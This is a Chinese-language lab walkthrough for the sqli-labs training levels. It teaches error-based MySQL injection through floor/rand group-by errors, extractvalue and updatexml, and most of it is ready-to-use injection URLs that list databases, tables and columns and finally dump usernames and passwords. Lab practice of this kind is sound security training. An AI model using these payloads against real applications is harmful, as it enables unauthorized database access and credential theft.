sql libs报错注入
floor()函数:小数向下取整
第1关
爆数据 http://www.guiltyfet.com/sqli/Less-1/?id=1' union select null,count(*),concat((select database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+
查询表明 http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
查列名 http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 4,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
查字段 http://www.guiltyfet.com/sqli/Less-1/?id=-2' union select null,count(*),concat((select password from users limit 2,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+
第2关
http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20and%201=1
http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20and%201=2时不回显
判断字段
http://www.guiltyfet.com/sqli/Less-2/?id=1%20%20order%20by%204;–+
为4时不会显
爆数据库 http://www.guiltyfet.com/sqli/Less-2/?id=1%20 union select 1,count(*),concat((select database()),floor(rand()*2))a from information_schema.columns group by a -- -
爆表 http://www.guiltyfet.com/sqli/Less-2/?id=1%20 union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))a from information_schema.columns group by a -- -
extractvalue函数
一、extractvalue函数
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。
第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径
例如:SELECT ExtractValue(‘’, ‘/a/b’); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
updatexml更新xml文档的函数
xml_target:: 需要操作的xml片段
xpath_expr: 需要更新的xml路径(Xpath格式)
new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下:
SET @xml = '<a><b><c>w</c><b>x</b><d>y</d>z</b></a>'; SELECT @xml; SELECT ExtractValue(@xml, '//b[1]');
https://dev.mysql.com/doc/refman/5.7/en/xml-functions.html
第5关
http://www.guiltyfet.com/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+
select语句继续获取数据库中的库名、表名和字段名。查询语句与union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句限制查询结果,或者使用group_concat函数将查询结果打印在一行显示。
获取其他数据库的库名 http://www.guiltyfet.com/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20schema_name%20from%20information_schema.schemata%20limit%201,1),0x7e),1)--+
获取当前数据库的表名 可以使用limit一个一个查询 http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+
也可以使用group_concat(table_name)一次性查询出所有的表名 http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
获取users表的字段名
http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
获取users表的内容
http://www.guiltyfet.com/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+
第6关
只需要将 ’ 替换成 "
http://www.guiltyfet.com/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)--+